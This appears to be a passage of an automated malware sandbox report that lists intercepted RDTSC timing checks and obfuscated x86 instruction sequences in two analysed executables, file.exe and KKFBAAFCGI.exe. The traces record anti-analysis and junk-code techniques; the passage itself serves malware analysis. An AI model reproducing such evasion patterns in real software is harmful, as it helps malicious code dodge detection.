Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF8C1 second address: DBF8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jnc 00007FA32872BAE6h 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF8D4 second address: DBF8E6 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA328DF73A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007FA328DF73A6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF8E6 second address: DBF94C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 cmc 0x00000009 push 00000004h 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007FA32872BAE8h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 0000001Dh 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D2664h], ebx 0x0000002b call 00007FA32872BAE9h 0x00000030 jns 00007FA32872BAF4h 0x00000036 push eax 0x00000037 push eax 0x00000038 push edx 0x00000039 jmp 00007FA32872BAF0h 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF94C second address: DBF96B instructions: 0x00000000 rdtsc 0x00000002 js 00007FA328DF73B2h 0x00000008 jmp 00007FA328DF73ACh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF96B second address: DBF970 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBF970 second address: DBF9B8 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA328DF73B0h 0x00000008 jmp 00007FA328DF73AAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [eax] 0x00000011 jmp 00007FA328DF73B0h 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f jmp 00007FA328DF73B8h 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBFBEC second address: DBFC31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007FA32872BAE8h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 0000001Ah 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 push dword ptr [ebp+122D2254h] 0x00000028 mov edx, dword ptr [ebp+122D2487h] 0x0000002e call 00007FA32872BAE9h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBFC31 second address: DBFC35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBFC35 second address: DBFC4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBFC4E second address: DBFC55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DBFC55 second address: DBFC77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jnp 00007FA32872BAF0h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 push ecx 0x00000015 pushad 0x00000016 popad 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DC0F37 second address: DC0F51 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA328DF73B3h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E902B8 second address: 4E902CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAEAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push edi 0x0000000e pop ecx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E902CD second address: 4E9032A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA328DF73B2h 0x00000009 adc eax, 595EB888h 0x0000000f jmp 00007FA328DF73ABh 0x00000014 popfd 0x00000015 mov si, 68FFh 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d jmp 00007FA328DF73B2h 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FA328DF73B7h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9032A second address: 4E90330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90330 second address: 4E90359 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA328DF73ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA328DF73B5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CDB110 second address: CDB119 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90400 second address: 4E90404 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90404 second address: 4E9040A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9040A second address: 4E90457 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FA328DF73B4h 0x00000010 push eax 0x00000011 pushad 0x00000012 push edi 0x00000013 pushfd 0x00000014 jmp 00007FA328DF73ACh 0x00000019 sbb ecx, 2B4CEDE8h 0x0000001f jmp 00007FA328DF73ABh 0x00000024 popfd 0x00000025 pop eax 0x00000026 mov si, di 0x00000029 popad 0x0000002a xchg eax, ebp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90457 second address: 4E9045B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9045B second address: 4E9045F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9045F second address: 4E90465 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90465 second address: 4E9047B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA328DF73B2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9047B second address: 4E9047F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9047F second address: 4E904A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA328DF73B9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E904A6 second address: 4E904AC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90505 second address: 4E90596 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 mov eax, edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a call 00007FA328DF73A9h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FA328DF73B3h 0x00000016 adc ecx, 026CC00Eh 0x0000001c jmp 00007FA328DF73B9h 0x00000021 popfd 0x00000022 movzx eax, bx 0x00000025 popad 0x00000026 push eax 0x00000027 jmp 00007FA328DF73AAh 0x0000002c mov eax, dword ptr [esp+04h] 0x00000030 jmp 00007FA328DF73ABh 0x00000035 mov eax, dword ptr [eax] 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a mov eax, 01411391h 0x0000003f pushfd 0x00000040 jmp 00007FA328DF73AEh 0x00000045 sub cx, C0E8h 0x0000004a jmp 00007FA328DF73ABh 0x0000004f popfd 0x00000050 popad 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90596 second address: 4E905BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E905BC second address: 4E905E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FA328DF73B8h 0x0000000a sbb ah, FFFFFFA8h 0x0000000d jmp 00007FA328DF73ABh 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E905E9 second address: 4E905EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E905EF second address: 4E905F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E906B8 second address: 4E906BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E906BC second address: 4E906B8 instructions: 0x00000000 rdtsc 0x00000002 mov ax, 153Dh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushfd 0x00000009 jmp 00007FA328DF73AAh 0x0000000e or si, C718h 0x00000013 jmp 00007FA328DF73ABh 0x00000018 popfd 0x00000019 popad 0x0000001a jne 00007FA328DF7359h 0x00000020 mov al, byte ptr [edx] 0x00000022 jmp 00007FA328DF73B2h 0x00000027 inc edx 0x00000028 pushad 0x00000029 popad 0x0000002a test al, al 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90719 second address: 4E9071D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9071D second address: 4E90723 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90723 second address: 4E90746 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 dec edi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edx, 4D828320h 0x00000012 mov ax, dx 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90746 second address: 4E90778 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA328DF73B2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ebx, dword ptr [edi+01h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FA328DF73B7h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90778 second address: 4E907EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA32872BAEFh 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edi+01h] 0x0000000e pushad 0x0000000f mov bx, 7636h 0x00000013 pushfd 0x00000014 jmp 00007FA32872BAF7h 0x00000019 add ch, FFFFFFBEh 0x0000001c jmp 00007FA32872BAF9h 0x00000021 popfd 0x00000022 popad 0x00000023 inc edi 0x00000024 jmp 00007FA32872BAEEh 0x00000029 test al, al 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FA32872BAEAh 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E907EA second address: 4E907F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA328DF73ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E907F9 second address: 4E908BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FA32872BAEFh 0x00000009 adc ecx, 39FE7E2Eh 0x0000000f jmp 00007FA32872BAF9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007FA32872BAF0h 0x0000001b adc al, FFFFFFA8h 0x0000001e jmp 00007FA32872BAEBh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 jne 00007FA399AC3D16h 0x0000002d jmp 00007FA32872BAF6h 0x00000032 mov ecx, edx 0x00000034 jmp 00007FA32872BAF0h 0x00000039 shr ecx, 02h 0x0000003c jmp 00007FA32872BAF0h 0x00000041 rep movsd 0x00000043 rep movsd 0x00000045 rep movsd 0x00000047 rep movsd 0x00000049 rep movsd 0x0000004b jmp 00007FA32872BAF0h 0x00000050 mov ecx, edx 0x00000052 jmp 00007FA32872BAF0h 0x00000057 and ecx, 03h 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E908BC second address: 4E908D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FA328DF73B3h 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E908D5 second address: 4E908EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA32872BAF5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E908EE second address: 4E9090D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA328DF73B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsb 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9090D second address: 4E90913 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90913 second address: 4E9092A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, A3h 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [ebp-04h], FFFFFFFEh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9092A second address: 4E9092E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9092E second address: 4E90932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90932 second address: 4E90938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90938 second address: 4E9096B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, FCh 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, ebx 0x0000000a jmp 00007FA328DF73B1h 0x0000000f mov ecx, dword ptr [ebp-10h] 0x00000012 pushad 0x00000013 movzx eax, di 0x00000016 movsx edx, cx 0x00000019 popad 0x0000001a mov dword ptr fs:[00000000h], ecx 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E9096B second address: 4E90988 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90988 second address: 4E909DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FA328DF73ADh 0x0000000b sub al, FFFFFFC6h 0x0000000e jmp 00007FA328DF73B1h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 pop ecx 0x00000018 jmp 00007FA328DF73AEh 0x0000001d pop edi 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FA328DF73B7h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E909DC second address: 4E90505 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 57h 0x00000005 mov edx, eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b jmp 00007FA32872BAEAh 0x00000010 pop ebx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FA32872BAEEh 0x00000018 sub cx, F828h 0x0000001d jmp 00007FA32872BAEBh 0x00000022 popfd 0x00000023 popad 0x00000024 leave 0x00000025 jmp 00007FA32872BAF5h 0x0000002a retn 0008h 0x0000002d cmp dword ptr [ebp-2Ch], 10h 0x00000031 mov eax, dword ptr [ebp-40h] 0x00000034 jnc 00007FA32872BAE5h 0x00000036 push eax 0x00000037 lea edx, dword ptr [ebp-00000590h] 0x0000003d push edx 0x0000003e call esi 0x00000040 push 00000008h 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 call 00007FA32872BAEDh 0x0000004a pop esi 0x0000004b pushfd 0x0000004c jmp 00007FA32872BAF1h 0x00000051 jmp 00007FA32872BAEBh 0x00000056 popfd 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90AD2 second address: 4E90AD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90AD6 second address: 4E90ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E90ADC second address: 4E90B6D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, dx 0x00000006 mov cl, dl 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FA328DF73B4h 0x00000011 push eax 0x00000012 pushad 0x00000013 mov edi, 5FDC2974h 0x00000018 mov eax, ebx 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FA328DF73B5h 0x00000023 or ecx, 66CB79E6h 0x00000029 jmp 00007FA328DF73B1h 0x0000002e popfd 0x0000002f push esi 0x00000030 mov ecx, ebx 0x00000032 pop ebx 0x00000033 popad 0x00000034 mov ebp, esp 0x00000036 jmp 00007FA328DF73B6h 0x0000003b pop ebp 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FA328DF73B7h 0x00000043 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 50F52D second address: 50F54B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA32872BAF4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 68D7DE second address: 68D7E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 68D936 second address: 68D94E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FA32872BAF2h 0x0000000c jng 00007FA32872BAE6h 0x00000012 js 00007FA32872BAE6h 0x00000018 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 68D94E second address: 68D956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 68D956 second address: 68D95A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 68D95A second address: 68D960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 68DC29 second address: 68DC33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA32872BAE6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 68DC33 second address: 68DC4C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FA328DF73ABh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007FA328DF73A6h 0x00000013 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 68DDC6 second address: 68DDD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jc 00007FA32872BAE6h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 68DDD4 second address: 68DE33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FA328DF73B6h 0x0000000a jmp 00007FA328DF73B0h 0x0000000f jmp 00007FA328DF73B8h 0x00000014 popad 0x00000015 pushad 0x00000016 js 00007FA328DF73AEh 0x0000001c push edx 0x0000001d jo 00007FA328DF73A6h 0x00000023 pop edx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 68DE33 second address: 68DE39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 68DF92 second address: 68DF98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 68DF98 second address: 68DFB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007FA32872BAEDh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 jp 00007FA32872BAE6h 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 690B90 second address: 690BA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA328DF73B3h 0x00000009 rdtsc
Source: C:\Users\user\Documents\KKFBAAFCGI.exe	RDTSC instruction interceptor: First address: 690BE3 second address: 690C81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov ecx, dword ptr [ebp+122D1DCBh] 0x0000000e push 00000000h 0x00000010 mov edi, dword ptr [ebp+122D3BEDh] 0x00000016 push D0828BDBh 0x0000001b push ebx 0x0000001c pushad 0x0000001d jmp 00007FA32872BAF6h 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 pop ebx 0x00000026 add dword ptr [esp], 2F7D74A5h 0x0000002d mov dword ptr [ebp+122D2BF7h], esi 0x00000033 jmp 00007FA32872BAEBh 0x00000038 push 00000003h 0x0000003a jnc 00007FA32872BAEBh 0x00000040 mov edi, 6C3B368Fh 0x00000045 push 00000000h 0x00000047 push 00000000h 0x00000049 push ebp 0x0000004a call 00007FA32872BAE8h 0x0000004f pop ebp 0x00000050 mov dword ptr [esp+04h], ebp 0x00000054 add dword ptr [esp+04h], 0000001Dh 0x0000005c inc ebp 0x0000005d push ebp 0x0000005e ret 0x0000005f pop ebp 0x00000060 ret 0x00000061 jnp 00007FA32872BAEBh 0x00000067 push 00000003h 0x00000069 mov cx, dx 0x0000006c push B10A451Eh 0x00000071 push ecx 0x00000072 pushad 0x00000073 push esi 0x00000074 pop esi 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
